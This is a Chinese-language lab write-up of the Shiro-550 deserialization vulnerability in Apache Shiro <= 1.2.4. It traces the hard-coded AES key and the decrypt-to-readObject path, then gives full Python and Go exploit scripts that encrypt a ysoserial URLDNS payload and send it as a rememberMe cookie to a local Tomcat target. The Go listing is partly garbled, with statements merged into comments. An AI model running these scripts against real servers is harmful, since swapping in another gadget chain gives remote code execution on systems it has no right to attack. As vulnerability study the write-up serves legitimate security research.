Shiro 550

JavaSec

前言

shiro550 漏洞产生的根本原因:固定 key 硬编码加密

漏洞影响版本:Shiro <= 1.2.4

漏洞搭建环境: 没有用p牛的docker靶场,选择自己本地搭一下,但是用到了p神的仓库(yyds).

搭建细节: Tomcat 指定url为: http://localhost:8080/shirodemo_war/

然后出现以下页面就算成功
账号的配置信息:

漏洞产生的原因: shiro 低于1.2.4版本的key相当于固定且通用,所以可以通过这个key构造恶意的cookie进行反序列化…

如何构造恶意数据

分析下为何能反序列化攻击:

来到shiro依赖的getRememberedSerializedIdentity方法,映入眼帘的就是这个固定密钥


然后在convertBytesToPrincipals中调用了上面的decrypt方法拿到序列化的数据并且进行了deserialize方法进行反序列化操作.
然后到deserialize,可以看到是一个接口
查看它的实现方法,就可以看到关键的readObject方法啦,接下来的事情就好办很多了~

分析shiro的aes加密方式,利用固定密钥构造恶意数据

[前提]
因为shiro使用的aes是对称加密,因此密钥用来加密同时也用来解密,这是我们伪造数据的前提.

AES加密调用栈: ps:下断点的时候记得给出正确的鉴权账户和密码才会返回cookie进而会走入aes加密流程,不要随便输账号密码…

利用

URLDNS 利用

生成反序列化恶意数据:
这里用yakit里的yso-java-hack,填好域名或要执行的命令即可生成恶意的反序列化数据,记得将其hex下载文件的形式保存,不要手动去copy到文件中去

Python EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from email.mime import base

from pydoc import plain

import sys

import base64

from turtle import mode

import uuid

from random import Random

from Crypto.Cipher import AES

import requests




def get_file_data(filename):

    with open(filename, 'rb') as f:

        data = f.read()

    return data



def aes_enc(data):

    BS = AES.block_size

    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

    key = "kPH+bIxk5D2deZiIxcaaaA=="

    mode = AES.MODE_CBC

    iv = uuid.uuid4().bytes

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))

    return ciphertext



def aes_dec(enc_data):

    enc_data = base64.b64decode(enc_data)

    unpad = lambda s: s[:-s[-1]]

    key = "kPH+bIxk5D2deZiIxcaaaA=="

    mode = AES.MODE_CBC

    iv = enc_data[:16]

    encryptor = AES.new(base64.b64decode(key), mode, iv)

    plaintext = encryptor.decrypt(enc_data[16:])

    plaintext = unpad(plaintext)

    return plaintext



def send_data(data):

    # 发送数据的函数

    url='http://localhost:8080/shirodemo_war/'

    header={

        "Cookie":'rememberMe='+data.decode()

    }

    resp=requests.get(url,headers=header)

if __name__ == "__main__":

    data = get_file_data("hex-dnslog-URLDNS")

    send_data(aes_enc(data))

Go EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main  

import (
"bytes"
"crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "io" "net/http" "os")

// PKCS7 padding
func pkcs7Padding(src []byte, blockSize int) []byte {
padding := blockSize - len(src)%blockSize
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(src, padText...)
}

// AES CBC 加密,生成与 Shiro 兼容的 rememberMe 值
func encryptShiroCompatible(plaintext, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}

blockSize := block.BlockSize()
plaintext = pkcs7Padding(plaintext, blockSize)

// 生成 IV iv := make([]byte, blockSize)
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return nil, err
}

mode := cipher.NewCBCEncrypter(block, iv)
encrypted := make([]byte, len(plaintext))
mode.CryptBlocks(encrypted, plaintext)

// 最终输出是 IV + ciphertext return append(iv, encrypted...), nil
}
func sendData(data string) {
url := "http://localhost:8080/shirodemo_war/"
req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("Cookie", "rememberMe="+data)
client := &http.Client{}
_, _ = client.Do(req)
}
func main() {
// Shiro 默认 AES key(Base64 解码后)
keyBase64 := "kPH+bIxk5D2deZiIxcaaaA=="
key, _ := base64.StdEncoding.DecodeString(keyBase64)

// 读取要加密的文件内容
data, err := os.ReadFile("hex-dnslog-URLDNS")
if err != nil {
panic(err)
}

// 加密数据
ciphertextWithIv, err := encryptShiroCompatible(data, key)
if err != nil {
panic(err)
}

// 输出最终 rememberMe 值
rememberMe := base64.StdEncoding.EncodeToString(ciphertextWithIv)
sendData(rememberMe)
fmt.Println("rememberMe:", rememberMe)
}

urldns 验证成功!